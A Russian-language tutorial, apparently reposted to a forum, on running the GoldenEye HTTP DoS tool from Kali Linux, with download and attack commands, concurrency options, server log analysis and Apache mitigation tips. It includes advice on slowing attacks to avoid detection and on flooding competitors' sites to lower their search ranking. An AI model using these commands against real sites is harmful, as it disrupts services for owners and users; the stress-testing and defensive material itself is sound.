3

DoS веб-сайта в Kali Linux с GoldenEye

В предыдущей статье уже говорилось об инструменте

DoS, который может сильно нагрузить серверы HTTP, чтобы парализовать их работу из-за исчерпания пула ресурсов. GoldenEye — это ещё один, со своими особенностями, который может положить сервер за 30 секунд, в зависимости от того, насколько велик пул его памяти. Конечно, он не работает на защищённых серверах и серверах за

правильно настроенными WAF, IDS. Но это отличный инструмент для тестирования

вашего веб-сервера на повышенную нагрузку. А на основании полученных результатов

можно изменить правила iptables/файерволов для увеличения устойчивости и

сопротивляемости к негативным факторам.

Подробности об инструменте GoldenEye:

Название утилиты: GoldenEye

Автор: Jan Seidl

Веб-сайт: http://wroot.org/

Из поста автора GoldenEye:

1. Этот инструмент предназначен только для целей исследования и любое другое

вредоносное его использование запрещено.

2. GoldenEye — это приложение на питоне для ТОЛЬКО ЦЕЛЕЙ ТЕСТИРОВАНИЯ

БЕЗОПАСНОСТИ!

3. GoldenEye это инструмент тестирования HTTP DoS.

4. Эксплуатируемый вектор атаки: HTTP Keep Alive + NoCache

Типы DoS или DDoS атак

Давайте пройдёмся по самой базовой информации об атаках DoS или. DDoS. Обычно

выделяют три вида DoS и DDoS атак:

1. DoS и DDoS атаки уровня приложений

2. DoS и DDoS атаки уровня протокола

3. DoS и DDoS атаки насыщения полосы пропускания

DoS и DDoS атаки уровня приложений

DoS и DDoS атаки уровня приложений — это атаки, которые нацелены на Windows,

Apache, OpenBSD или другое программное обеспечение для выполнения атаки и краха

сервера.

DoS и DDoS атаки уровня протокола

DoS и DDoS атаки уровня протокола — это атаки на уровне протокола. Эта категория

включает Synflood, Ping of Death и другие.

DoS и DDoS атаки насыщения полосы пропускания

Этот тип атак включает ICMP-флуд, UDP-флуд и другие типы флуда, осуществляемые

через поддельные пакеты.

Слова DoS и DDoS близки по значению. Когда атака ведётся с одной машины, обычно

говорят о DoS атаке. При большом количестве атакующих из ботнета (или группы)

говорят о DDoS атаке. Об этих атаках доступно много информации, но не важна, какого

типа эта атака, т. к. они все одинаково вредны для сервера/сети.

Загрузка GoldenEye

Сторонние программы, установленные не из репозитория, я собираю в каталоге ~/opt.

Если у вас нет каталога для сторонних программ, то создайте его и перейдите туда:

1| mkdir opt

2| cd opt

Следующая большая команда создаст каталог, загрузит туда последнюю версию

GoldenEye, распакует архив и сразу запустит GoldenEye (покажет справку по

программе):

1| mkdir GoldenEye && cd GoldenEye && wget

https://github.com/jseidl/GoldenEye/archive/master.zip && unzip master.zip && cd

GoldenEye-master/ && ./goldeneye.py

Если вам хочется всё сделать самому — постепенно, то продолжаем. Для начала

создаём каталог GoldenEye, переходим туда и скачиваем архив с программой:

1| root@WebWare-Kali:~/opt# mkdir GoldenEye

2| root@WebWare-Kali:~/opt# cd GoldenEye

3| root@WebWare-Kali:~/opt/GoldenEye# wget

https://github.com/jseidl/GoldenEye/archive/master.zip

После скачивания распаковываем файл архива master.zip.

1| unzip master.zip

Теперь у нас появился каталог GoldenEye-master, переходим туда и проверяем его

содержимое:

1| ls

2| cd GoldenEye-master/

3| ls

Запуск GoldenEye – досим веб-сайт

Запуск очень прост, делается это так:

1| ./goldeneye.py

Программа показывает нам свою справку:

Необходимо осведомлять пользователей о расписании тестирования и возможных

перебоях в работе. Поскольку часто результатом симуляции атаки является остановка

работы.

Ну и все другие предупреждения: вы не должны тестировать (симулировать атаку)

других без их разрешения. Поскольку в случае причинения вреда, вы можете быть

привлечены к ответственности в соответствии с законодательством.

Данная информация размещена в образовательных целях. Для тестирования своих

серверов, для анализа качества их настройки и разработки мер противодействия

атакам.

Запуск слегка различается от используемой вами ОС:

1| root@WebWare-Kali:~/opt/GoldenEye/GoldenEye-master# ./goldeneye.py

http://www.goldeneyetestsite.com/

(или)

1| sudo ./goldeneye.py http://www.goldeneyetestsite.com/

(или)

1| python goldeneye.py http://www.goldeneyetestsite.com/

В зависимости от того, где вы сохранили файлы, подредактируйте ваш путь и команду.

Далее тесты GoldenEye:

Следить за состоянием сервера я буду командой top:

Т.е. сервер находится в состоянии простоя, процесс полностью свободен, свободной

оперативной памяти доступно 350 мегабайт.

Атака

1| ./goldeneye.py http://192.168.1.37/info.php

Результат

Можно посмотреть по скриншоту, процессор по-прежнему практически бездействует,

но количество свободной памяти резко сократилось, увеличилось количество спящих процессов.

Тем не менее, сервер не удалось полностью положить при атаке в один поток (хотя

вообще-то, такая задача и не ставилась).

Анализ атаки GoldenEye

Посмотрим лог сервера:

1| cat /var/log/apache2/access.log | grep -E '192.168.1.55'

Я использую grep -E '192.168.1.55', чтобы отфильтровать подключения только с

машины, с которой велась атака.

Видим там примерно такое:

1| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?vySSDx=tG1rmfX4HbYXBm&CKVuvV=JLoK&nHc8x=0x5YKQtvHs0HWS68

HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3)

AppleWebKit/535.6 (KHTML, like Gecko) Version/6.0.5 Safari/535.17"

2| 192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET

/info.php?dC1FyXpw=hB6Oh&rjcf74A=YVA&YUtUXuDo2s=2pLY7nlq&SjyqoF=wUIx8Aq&tXkr

fJRw=LsgED HTTP/1.1" 200 69504 "http://www.baidu.com/k1IkNXv" "Mozilla/5.0

(Macintosh; Intel Mac OS X 11_0_4) AppleWebKit/536.12 (KHTML, like Gecko)

Chrome/10.0.623.89 Safari/536.26"

3| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?0Nk7p=kSf&1eVF8PNy=UpDtxpDmJE2Fbx6&lPS=53T0AUI6Xu&5EbHY=scv1yBq8O

6Y&JJthAkQqqk=HUEQBD5ONbAMxVlWHxai HTTP/1.1" 200 69504 "-" "Mozilla/5.0

(Windows NT 5.1; WOW64) Gecko/20021304 Firefox/12.0"

4| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?SAQMIx5Pl=VWGEFj3q8N0

HTTP/1.1" 200 69504

"http://www.google.com/gCqMk2Q05?DxQe=67gW4HUd3iTKCu2qWSJ&amp...

Gh6q2sVlyHBdK&bl185B=anwKamnu2xK&RpI=HA0wNexUytc&uOqLV=6TNbGepqbnr&uu2fj

tL63=u5lnA701na4cYYH0yN&TOY066XT=3WJQhmtXRyCo46HnbXY1" "Mozilla/5.0 (Linux

x86_64; X11) Gecko/20010905 Firefox/17.0"

5| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?jA5Kw=fwtSMfaPQ8XtCaK&Y0fBbDfSXd=8Jm5hqt&xPC=1qwBHvMDy7gl

HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows NT 5.1; WOW64) Gecko/20011709

Firefox/23.0"

6| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?t2U0aYjxm=q21n4BARB1&qxI1=cTw&XjGPpG=W3AAWvebbW HTTP/1.1" 200

69504 "http://www.baidu.com/bQnoS7ULAY" "Mozilla/5.0 (Windows NT.6.2; Win64; x64)

AppleWebKit/536.10 (KHTML, like Gecko) Chrome/18.0.1844.44 Safari/537.21"

7| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?nkIkop=6pivICjNb6&U3Y=dDlbGnW3feTEXCm&aH2JLMl=sGmkpeSLnTtXahs7agi&

8htjBss=DFuXcUiJ5G5Fu7c HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (compatible; MSIE 10.0;

Macintosh; .NET CLR 3.0.8867; Intel Mac OS X 11_6_2)"

8| 192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET

/info.php?p6P23Hj=IcVgaSIUoVTanmFIDan&WWml82r3D=TCY8rta5YrwVsLJmrM HTTP/1.1"

200 69504

"http://www.baidu.com/fWaBwllK?aNP85MesWv=VhL6v32qtwyj&6C...

YXmLk2w&Uy3wv=4pvNH8y&Jvirs=RJ4hKfRa&HyIYt8gtP=CHjm8OJaOP2djoQS&rm7bH=rukJ

4726B14D3XOxDwJ6&QBkOD3=33qpPxVM3ih76MaSgnT&s7gO=3WrX3Vd&Vsh=A13d"

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_1) AppleWebKit/536.10 (KHTML, like Gecko)

Chrome/15.0.1172.45 Safari/535.15"

9| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?so64O=2GhoHQaFy&DSmxwEWk=tYxV&y1C7mM=kQbuxco5oJfLPocGLl&kbItk4Rl

j=LjVhrLgelmtLYDuldfF HTTP/1.1" 200 69504

"http://192.168.1.37/uxNqvi6EnN?cAyrBjvKc=OsSGuqs&rrlLD=2..." "Mozilla/5.0

(Windows; U; MSIE 10.0; Windows NT 5.1; .NET CLR 2.2.16303; Win64; x64)"

10| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?EXRbe03wp=fEBV5exjikcr8oNbEkmN&vpg8wYXv=DMGpYP1RMBUglSjbv4g&55prJ

=fY78WvDU3vW7GaoW4etN&JWEFmlYFU=yFyBEk7 HTTP/1.1" 200 69504 "-" "Mozilla/5.0

(Windows; U; MSIE 8.0; Linux x86_64; .NET CLR 1.0.1395; X11)"

11| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?7xIRdP0=8mjyacN&kEd2MwYtJ=bWhJvAH3A1H&xWe7vp6nH=faGl3PGJ4xAf&dSn

j5CW=wOBRfkLbMrEWdmMFvov&xWPL3sYb=WN0yYPXu HTTP/1.1" 200 69504 "-"

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_0) Gecko/20062612 Firefox/18.0"

12| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?lVn80y605=IDRbDmoiDyNBu

HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_4) Gecko/20052008

Firefox/18.0"

13| 192.168.1.55 - - [18/Jun/2015:17:06:52 +0700] "GET

/info.php?mAthtfI=c4QdAopYyQGAsJAl0XUH HTTP/1.1" 200 69504

"http://www.yandex.com/jbOJRnhpii?fW4YmYLq=6A6f8qyxLRk6" "Mozilla/5.0 (Linux i386;

X11) AppleWebKit/536.27 (KHTML, like Gecko) Version/4.1.4 Safari/537.21"

14| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?1nwS7r=g6qpYcfOre

HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Linux i386; X11) Gecko/20053002 Firefox/15.0"

15| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?00iHfl2=CGhueehx3DqR32D&MnPMIcqiTN=HcIR&GFgFaO=IJL HTTP/1.1" 200

69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3) AppleWebKit/535.29 (KHTML,

like Gecko) Chrome/19.0.1233.51 Safari/536.18"

16| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?Ml1k=DFVW0F7 HTTP/1.1"

200 69504 "-" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/537.1 (KHTML, like Gecko)

Chrome/8.0.1320.86 Safari/535.21"

17| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?khUn=xnRp0gXjlF&bl8TpeXEF5=28W&wPkB=cnOPTgwOpPGC&12cnFT6b=XNDSX

FPdtraDsR&0FqigAn62=Kl4Y7pj2e7lj0nGoGN HTTP/1.1" 200 69504 "-" "Mozilla/5.0

(Windows NT.6.2; Win64; x64) AppleWebKit/537.3 (KHTML, like Gecko) Version/5.1.2

Safari/536.32"

Одного взгляда на логи достаточно, что каждый запрос GET содержит различные

строки, различные пользовательские агенты и различных реферов, среди которых Bing,

Baidu, Yandex и другие рандомные поисковые системы.

Так что происходит, когда ваш веб-сервер встречается с этой атакой? Он анализирует

входящий трафик, проверяет запрашиваемые URL, адреса источников и поле Referrer и пропускает их с кодом 200 OK. Почему? Потому что каждый браузер был различным.

Инструмент был создан остроумно так, чтобы любой сервер мог подумать, что это

различные пользователи, пытающие зайти с одного IP (может быть IP прокси или

большой организации?) с различными браузерами (Firefox, Chrome, MSIE, Safari и т. д.),

различными операционными системами (Mac, Linux, Windows и т.д.) и даже с

различными реферами. Да, возможно запрашиваемый URL был неправильным, но

нормальные веб-сервера всё равно пропустят его, перенаправят на страницу ошибки в

то время как соединение будет оставаться открытым (например, Apache worker/socket).

Стандартный веб-сервер обычно позволяет X число одновременных пользователей с

одного IP и с большим количеством соединений/используемых сокетов, этот тип атаке

приводит к тяжёлому давлению на сервер и последующие пользователи получают

ошибку (HTTP 503 или наподобии). Следовательно, атакующий с несколькими

рандомными proxy/VPN может быстро истощить ресурсы сервера. Он даже может

замедлить атаки на один IP для избежания начального выявления:

1| root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py

http://www.goldeneyetestsite.com/ -w 10 -s 10 -m random

Вышеприведённая команда использует:

-w = 10 одновременные рабочие

-s = 10 одновременных соединений

-m = рандом, смесь GET и POST

Совершенный DoS!

Интересное наблюдение по Google Analytics и GoldenEye

Я попробовал это в живую, чтобы просто посмотреть, как поведёт себя реальный веб-

сервер. Интересно, оказывается что Google Analytics воспринимает этот трафик как

реальный и добавляет данные от флуда в статистику (хотя он и идёт с одного IP, но

различные рефереры и браузеры убеждают Google в том, что это отдельные

пользователи). Можно придумать ещё пару способов эксплуатировать это:

 Можно повышать свой рейтинг в Google, т. к. она будет воспринимать это как

легитимный трафик.

 Если Google будет наказывать за это, то тогда можно зафлудить веб-сайты

конкурентов для понижения их ранжирования в Google.

Эта палка о двух концах.

Блокирование/защита от атаки GoldenEye

Следующие предложения хорошо сработают, когда вы используете Apache:

1. Понижение соединений на один IP (обычно их 300 на IP для Apache)

2. Редактирование порога соединений на IP

3. Отключить настройки KeepAlive и нижний Connection Timeout (по умолчанию это

300)

4. Если вы хоститесь на общем сервере, обратитесь к сисадминам. Если они не

могут защитить от этой простой атаки, то просто переезжайте к хостинг

компании получше.

5. Используйте Web application Firewall (WAF).

6. Использование белых листов для входящих запросов — и эта атака не окажет

эффекта на ваш сервер.

7. NGINX и Node.js вроде бы лучше справляются с атаками подобного рода.

Заключение

GoldenEye выглядит как расширенная (или схожая на) HTTP Flooder программа. Обе

работают похожим образом, но NoCache и KeepAlive от GoldenEye делают большую

разницу. Также она использует интересный способ перемешивания браузеров,

операционных систем и рефереров, что может обмануть файервол.

В общем, это хороший инструмент для тестирования на нагрузку своего собственного

веб-сайта (с разрешения вашей хостинг компании), вашего корпоративного веб-сайта и

любых веб-приложений, которые позволяют входящие GET или POST запросы.

Используйте её для обновления ваших правил файервола. WAF и благодаря

этому избежите будущих атак.


Источник: Telegram канал "IT-Специалист" t.me/to_sysadmins

0
Автор поста оценил этот комментарий
Все скриншоты в статье источника, см. ссылку в конце поста

Темы

Политика

Теги

Популярные авторы

Сообщества

18+

Теги

Популярные авторы

Сообщества

Игры

Теги

Популярные авторы

Сообщества

Юмор

Теги

Популярные авторы

Сообщества

Отношения

Теги

Популярные авторы

Сообщества

Здоровье

Теги

Популярные авторы

Сообщества

Путешествия

Теги

Популярные авторы

Сообщества

Спорт

Теги

Популярные авторы

Сообщества

Хобби

Теги

Популярные авторы

Сообщества

Сервис

Теги

Популярные авторы

Сообщества

Природа

Теги

Популярные авторы

Сообщества

Бизнес

Теги

Популярные авторы

Сообщества

Транспорт

Теги

Популярные авторы

Сообщества

Общение

Теги

Популярные авторы

Сообщества

Юриспруденция

Теги

Популярные авторы

Сообщества

Наука

Теги

Популярные авторы

Сообщества

IT

Теги

Популярные авторы

Сообщества

Животные

Теги

Популярные авторы

Сообщества

Кино и сериалы

Теги

Популярные авторы

Сообщества

Экономика

Теги

Популярные авторы

Сообщества

Кулинария

Теги

Популярные авторы

Сообщества

История

Теги

Популярные авторы

Сообщества

Недвижимость и ремонт

Теги

Популярные авторы

Сообщества